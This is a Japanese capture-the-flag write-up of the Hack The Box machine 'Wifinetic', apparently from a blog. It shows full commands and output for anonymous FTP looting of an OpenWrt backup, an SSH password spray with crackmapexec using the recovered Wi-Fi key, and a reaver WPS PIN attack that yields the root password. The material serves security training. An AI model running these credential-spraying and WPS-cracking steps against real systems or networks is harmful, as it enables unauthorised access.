HTB Wifinetic

HTBEasy3.X

Hack The BoxのWifineticのWriteup記事となります。
難易度3.0のLinuxマシンを攻略する過程を読んでみてください。

マシン情報

OS Linux

難易度 Easy 3.0

リリース日 2023/9/13

ポート探索

Nmap ⇒ 21/22/53

21番FTPがanonymousでログインできているので調べて行きたいと思います。

─$ nmap -sCV -A -v -p- --min-rate 5000 10.10.11.247  -oN nmap_result.txt -Pn

PORT      STATE    SERVICE    VERSION
21/tcp    open     ftp        vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.10.16.3
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 ftp      ftp          4434 Jul 31  2023 MigrateOpenWrt.txt
| -rw-r--r--    1 ftp      ftp       2501210 Jul 31  2023 ProjectGreatMigration.pdf
| -rw-r--r--    1 ftp      ftp         60857 Jul 31  2023 ProjectOpenWRT.pdf
| -rw-r--r--    1 ftp      ftp         40960 Sep 11  2023 backup-OpenWrt-2023-07-26.tar
|_-rw-r--r--    1 ftp      ftp         52946 Jul 31  2023 employees_wellness.pdf
22/tcp    open     ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
53/tcp    open     tcpwrapped
8896/tcp  filtered unknown
60962/tcp filtered unknown

21/FTP探索

anonymousログイン

見れるディレクトリは制限されていますが、5つのファイルがあります。

OpenWRTを調べてみるとルータのファームウェアとなっています。

このマシンは所謂なサーバマシンではないのかもしれません。そしてtarファイルはOpenWRTの設定が色々詰まっていると嬉しいですね。

これらを見ていきたいと思います。

─$ ftp 10.10.11.247 
Connected to 10.10.11.247.
220 (vsFTPd 3.0.3)
Name (10.10.11.247:kali): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||44528|)
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp          4434 Jul 31  2023 MigrateOpenWrt.txt
-rw-r--r--    1 ftp      ftp       2501210 Jul 31  2023 ProjectGreatMigration.pdf
-rw-r--r--    1 ftp      ftp         60857 Jul 31  2023 ProjectOpenWRT.pdf
-rw-r--r--    1 ftp      ftp         40960 Sep 11  2023 backup-OpenWrt-2023-07-26.tar
-rw-r--r--    1 ftp      ftp         52946 Jul 31  2023 employees_wellness.pdf
226 Directory send OK.
ftp> pwd
Remote directory: /

ファイル確認 ⇒ tarファイルにetc情報を発見

$ ls            
MigrateOpenWrt.txt         ProjectOpenWRT.pdf             employees_wellness.pdf
ProjectGreatMigration.pdf  backup-OpenWrt-2023-07-26.tar  nmap_result.txt

MigrateOpenWrt.txtを見てみましたが手がかりになりそうなものは無さそうです。

$ cat MigrateOpenWrt.txt
  +-------------------------------------------------------+
  |             Replace OpenWRT with Debian                |
  +-------------------------------------------------------+
  |                                                       |
  |  +-----------------------------------------------+    |
  |  |        Evaluate Current OpenWRT Setup        |    |
  |  +-----------------------------------------------+    |
  |                                                       |
  |  +-----------------------------------------------+    |
  |  |         Plan and Prepare the Migration       |    |
  |  +-----------------------------------------------+    |
  |  |                                               |    |
  |  |   - Inventory current hardware and software   |    |
  |  |   - Identify dependencies and customizations  |    |
  |  |   - Research Debian-compatible alternatives   |    |
  |  |   - Backup critical configurations and data   |    |
  |  |                                               |

ProjectOpenWRT.pdfを見ると、ネットワーク管理者の「olivia.walker17@wifinetic.htb」という名前がありました。

employees_wellness.pdfにはHRマネージャーの「samantha.wood93@wifinetic.htb」という名前がありました。

backup-OpenWrt-2023-07-26.tarを解凍するとetc配下の情報が出てきました。

$ tar -xvf backup-OpenWrt-2023-07-26.tar 
./etc/
./etc/config/
./etc/config/system
./etc/config/wireless
./etc/config/firewall
./etc/config/network
./etc/config/uhttpd
./etc/config/dropbear
./etc/config/ucitrack
./etc/config/rpcd
./etc/config/dhcp
./etc/config/luci
./etc/uhttpd.key
./etc/uhttpd.crt
./etc/sysctl.conf
./etc/inittab
./etc/group
./etc/opkg/
./etc/opkg/keys/
./etc/opkg/keys/4d017e6f1ed5d616
./etc/hosts
./etc/passwd
./etc/shinit
./etc/rc.local
./etc/dropbear/
./etc/dropbear/dropbear_ed25519_host_key
./etc/dropbear/dropbear_rsa_host_key
./etc/shells
./etc/profile
./etc/nftables.d/
./etc/nftables.d/10-custom-filter-chains.nft
./etc/nftables.d/README
./etc/luci-uploads/
./etc/luci-uploads/.placeholder

OpenWRTのconfig ⇒ 認証情報(?)あり

wirelessファイルからわかること

・2.4GHz帯域 と 5GHz帯域 の2つの帯域の設定がある(option band)

・2.4GHz帯域の接続はAPとして機能している(wifinet0のoption mode)

・5GHz帯域の接続は他のAPへの中継機として機能している(wifinet1のoption mode)

・接続時のパスワードはVeRyUniUqWiFIPasswrd1!(option key)

$ cat wireless    

config wifi-device 'radio0'
        option type 'mac80211'
        option path 'virtual/mac80211_hwsim/hwsim0'
        option cell_density '0'
        option channel 'auto'
        option band '2g'
        option txpower '20'

config wifi-device 'radio1'
        option type 'mac80211'
        option path 'virtual/mac80211_hwsim/hwsim1'
        option channel '36'
        option band '5g'
        option htmode 'HE80'
        option cell_density '0'

config wifi-iface 'wifinet0'
        option device 'radio0'
        option mode 'ap'
        option ssid 'OpenWrt'
        option encryption 'psk'
        option key 'VeRyUniUqWiFIPasswrd1!'
        option wps_pushbutton '1'

config wifi-iface 'wifinet1'
        option device 'radio1'
        option mode 'sta'
        option network 'wwan'
        option ssid 'OpenWrt'
        option encryption 'psk'
        option key 'VeRyUniUqWiFIPasswrd1!'

rpcdファイルにも認証情報に使えるかもしれない情報が書いてありました。

ただ、プレースホルダー形式になっているように見えるのでこのままでは使えないかもしれません。

$ cat rpcd    
config rpcd
        option socket /var/run/ubus/ubus.sock
        option timeout 30

config login
        option username 'root'
        option password '$p$root'
        list read '*'
        list write '*'

その他のファイルはユーザ情報やパスワード情報などアクセスに使えそうな内容は無さそうです。

networkファイルにはloopback、lan、wwan等各インターフェイスの設定が書いてあります。

$ cat network        

config interface 'loopback'
        option device 'lo'
        option proto 'static'
        option ipaddr '127.0.0.1'
        option netmask '255.0.0.0'

config globals 'globals'
        option ula_prefix 'fd38:9476:c728::/48'

config device
        option name 'br-lan'
        option type 'bridge'
        list ports 'eth0'

config interface 'lan'
        option device 'br-lan'
        option proto 'dhcp'

config interface 'wwan'
        option proto 'dhcp'

passwd ⇒ netadminユーザ

root以外にログインで使えそうなユーザーは999のnetadminがあります。

シェルが/bin/falseなのでもしかしたら使えないかもしれませんが、この環境特有のユーザのため確認してみたいと思います。

$ cat passwd 
root:x:0:0:root:/root:/bin/ash
daemon:*:1:1:daemon:/var:/bin/false
ftp:*:55:55:ftp:/home/ftp:/bin/false
network:*:101:101:network:/var:/bin/false
nobody:*:65534:65534:nobody:/var:/bin/false
ntp:x:123:123:ntp:/var/run/ntp:/bin/false
dnsmasq:x:453:453:dnsmasq:/var/run/dnsmasq:/bin/false
logd:x:514:514:logd:/var/run/logd:/bin/false
ubus:x:81:81:ubus:/var/run/ubus:/bin/false
netadmin:x:999:999::/home/netadmin:/bin/false

侵入

認証情報からcrackmapexecで総当り ⇒ netadminで可能

現状わかっている情報は

ユーザ候補 = /etc/passwd

パスワード候補 = /etc/config/wirelessと/etc/config/rcpd

これらを組み合わせて試していきます。

まず、ユーザ一覧を作成しました。

$ awk -F: '{print $1}' ./passwd > users.txt

$ cat users.txt                          
root
daemon
ftp
network
nobody
ntp
dnsmasq
logd
ubus
netadmin

また、パスワード一覧も作成しました。

$ vim password.txt
VeRyUniUqWiFIPasswrd1!
root
proot
$p$root

crackmapexecを使い総当りで試してみます。

$ crackmapexec ssh 10.10.11.247 -u users.txt -p password.txt 

SSH         10.10.11.247    22     10.10.11.247     [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.9
SSH         10.10.11.247    22     10.10.11.247     [-] root:VeRyUniUqWiFIPasswrd1! Authentication failed.
SSH         10.10.11.247    22     10.10.11.247     [-] root:root Authentication failed.
SSH         10.10.11.247    22     10.10.11.247     [-] root:proot Authentication failed.
SSH         10.10.11.247    22     10.10.11.247     [-] root:$p$root Authentication failed.
SSH         10.10.11.247    22     10.10.11.247     [-] daemon:VeRyUniUqWiFIPasswrd1! Authentication failed.

(省略)

SSH         10.10.11.247    22     10.10.11.247     [-] ubus:root Authentication failed.
SSH         10.10.11.247    22     10.10.11.247     [-] ubus:proot Authentication failed.
SSH         10.10.11.247    22     10.10.11.247     [-] ubus:$p$root Authentication failed.
SSH         10.10.11.247    22     10.10.11.247     [+] netadmin:VeRyUniUqWiFIPasswrd1! 

ログインできる組み合わせがありました。

user.txt

$ ssh netadmin@10.10.11.247
netadmin@10.10.11.247's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-162-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu 13 Feb 2025 06:47:12 PM UTC

  System load:            0.69
  Usage of /:             66.7% of 4.76GB
  Memory usage:           7%
  Swap usage:             0%
  Processes:              227
  Users logged in:        0
  IPv4 address for eth0:  10.10.11.247
  IPv6 address for eth0:  dead:beef::250:56ff:feb0:8116
  IPv4 address for wlan0: 192.168.1.1
  IPv4 address for wlan1: 192.168.1.23


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Thu Feb 13 18:06:07 2025 from 10.10.16.3
netadmin@wifinetic:~$ 
netadmin@wifinetic:~$ ls
user.txt
netadmin@wifinetic:~$ cat user.txt 

Privilege Escalation

sudo -l ⇒ 手がかりなし

netadmin@wifinetic:~$ sudo -l
[sudo] password for netadmin: 
Sorry, try again.
[sudo] password for netadmin: 
Sorry, user netadmin may not run sudo on wifinetic.

find / -perm ⇒ 手がかりなし

netadmin@wifinetic:/$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/bin/mount
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/passwd
/usr/bin/fusermount
/usr/bin/chsh
/usr/bin/at
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/su

getcap ⇒ reaver

reverというWifiネットワークのセキュリティをテストするためのツールにcap_net_rawという権限が付与されています。

netadmin@wifinetic:/$ getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/reaver = cap_net_raw+ep

netadmin@wifinetic:/$ 

reaverとは

概要

Reaver は、Wi-Fiネットワークのセキュリティをテストするためのツールで、特に WPS(Wi-Fi Protected Setup) の脆弱性を悪用することを目的としています。具体的には、Wi-Fiルーターやアクセスポイントに設定されている WPS PIN のブルートフォース攻撃を行い、WPS PIN を解読してネットワークへの不正アクセスを試みるツールです。

目的

Reaver は、WPS PIN を使用した認証プロセスにおけるブルートフォース攻撃を自動化するために作られました。WPS PIN は8桁の数値で構成されており、WPS仕様において PIN の検証が不十分なため、特に 3桁目と4桁目の計算が簡単である という脆弱性があります。この問題を利用して、Reaver は攻撃対象のWi-Fiルーターに対して PIN を試行錯誤することで、WPS PIN を解読します。

WPSは、家庭用や小規模オフィス用のWi-Fiネットワークの設定を簡素化するために設計された機能ですが、セキュリティ上の弱点が多く、Reaver はこの弱点を突く形で作られました。

reaverの使い方

reaverを実行するには実行環境上でモニターモードで起動しているインターフェースとAPのMACアドレスが必要なようです。

netadmin@wifinetic:/$ reaver -h

Reaver v1.6.5 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

Required Arguments:
        -i, --interface=<wlan>          Name of the monitor-mode interface to use
        -b, --bssid=<mac>               BSSID of the target AP

Optional Arguments:
        -m, --mac=<mac>                 MAC of the host system
        -e, --essid=<ssid>              ESSID of the target AP
        -c, --channel=<channel>         Set the 802.11 channel for the interface (implies -f)
        -s, --session=<file>            Restore a previous session file
        -C, --exec=<command>            Execute the supplied command upon successful pin recovery
        -f, --fixed                     Disable channel hopping
        -5, --5ghz                      Use 5GHz 802.11 channels
        -v, --verbose                   Display non-critical warnings (-vv or -vvv for more)
        -q, --quiet                     Only display critical messages
        -h, --help                      Show help

Advanced Options:
        -p, --pin=<wps pin>             Use the specified pin (may be arbitrary string or 4/8 digit WPS pin)
        -d, --delay=<seconds>           Set the delay between pin attempts [1]
        -l, --lock-delay=<seconds>      Set the time to wait if the AP locks WPS pin attempts [60]
        -g, --max-attempts=<num>        Quit after num pin attempts
        -x, --fail-wait=<seconds>       Set the time to sleep after 10 unexpected failures [0]
        -r, --recurring-delay=<x:y>     Sleep for y seconds every x pin attempts
        -t, --timeout=<seconds>         Set the receive timeout period [10]
        -T, --m57-timeout=<seconds>     Set the M5/M7 timeout period [0.40]
        -A, --no-associate              Do not associate with the AP (association must be done by another application)
        -N, --no-nacks                  Do not send NACK messages when out of order packets are received
        -S, --dh-small                  Use small DH keys to improve crack speed
        -L, --ignore-locks              Ignore locked state reported by the target AP
        -E, --eap-terminate             Terminate each WPS session with an EAP FAIL packet
        -J, --timeout-is-nack           Treat timeout as NACK (DIR-300/320)
        -F, --ignore-fcs                Ignore frame checksum errors
        -w, --win7                      Mimic a Windows 7 registrar [False]
        -K, --pixie-dust                Run pixiedust attack
        -Z                              Run pixiedust attack

Example:
        reaver -i wlan0mon -b 00:90:4C:C1:AC:21 -vv

reaverがやっていること

これを見るとWPSを有効にしておくととても危険だとわかります。

Reaverの攻撃手順(WPS PIN攻撃)

  1. WPA PIN(WPS PIN)を総当たり攻撃
    • Reaverは 8桁のWPS PIN を試行錯誤して、AP(アクセスポイント)に送信
    • PINの仕組み上、実際には4桁+3桁+チェックサム なので 最大11,000回程度 で突破可能
  2. WPA PINが正解すると、APがWPA PSKを教えてくれる
    • WPSの仕様上、正しいPINを送るとAPがWPA PSK(Wi-Fiのパスワード)を返信 する
  3. 取得したWPA PSKを使い、Wi-Fiに接続
    • Reaverが取得した WPA PSK を使って、通常のWi-Fi接続が可能になる

cat_net_raw

cap_net_raw を持つプロセスは、RAWソケットを使用することができ、これにより IP パケットや他の低レベルなネットワーク通信を直接操作できます。これを利用することで、パケットの送受信を直接行うことができるため、パケットインジェクションやネットワークスニファリング(監視)などが可能になります

iw ⇒ mon0

iwコマンドの結果わかること

・mon0はモニターモードで起動している

・wlan1とwlan0はともにchannel1

・wlan0はAPであること

・wlan1とwlan0のMACアドレス

netadmin@wifinetic:/$ iw dev
phy#2
        Interface mon0
                ifindex 7
                wdev 0x200000002
                addr 02:00:00:00:02:00
                type monitor
                txpower 20.00 dBm
        Interface wlan2
                ifindex 5
                wdev 0x200000001
                addr 02:00:00:00:02:00
                type managed
                txpower 20.00 dBm
phy#1
        Unnamed/non-netdev interface
                wdev 0x1000002f0
                addr 42:00:00:00:01:00
                type P2P-device
                txpower 20.00 dBm
        Interface wlan1
                ifindex 4
                wdev 0x100000001
                addr 02:00:00:00:01:00
                ssid OpenWrt
                type managed
                channel 1 (2412 MHz), width: 20 MHz (no HT), center1: 2412 MHz
                txpower 20.00 dBm
phy#0
        Interface wlan0
                ifindex 3
                wdev 0x1
                addr 02:00:00:00:00:00
                ssid OpenWrt
                type AP
                channel 1 (2412 MHz), width: 20 MHz (no HT), center1: 2412 MHz
                txpower 20.00 dBm

reaver ⇒ 成功

パスワードがわかりました。

netadmin@wifinetic:/$ reaver -i mon0 -b 02:00:00:00:00:00 -vv

Reaver v1.6.5 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

[+] Waiting for beacon from 02:00:00:00:00:00
[+] Switching mon0 to channel 1
[+] Received beacon from 02:00:00:00:00:00
[+] Trying pin "12345670"
[+] Sending authentication request
[!] Found packet with bad FCS, skipping...
[+] Sending association request
[+] Associated with 02:00:00:00:00:00 (ESSID: OpenWrt)
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received M5 message
[+] Sending M6 message
[+] Received M7 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[+] Pin cracked in 2 seconds
[+] WPS PIN: '12345670'
[+] WPA PSK: 'WhatIsRealAnDWhAtIsNot51121!'
[+] AP SSID: 'OpenWrt'
[+] Nothing done, nothing to save.

root.txt

netadmin@wifinetic:/$ su
Password: 
root@wifinetic:/# id
uid=0(root) gid=0(root) groups=0(root)

root@wifinetic:/# cd root/
root@wifinetic:~# cat root.txt 

次回のマシン情報

難易度3.Xのマシン一覧はこちらにあります。

タイトルとURLをコピーしました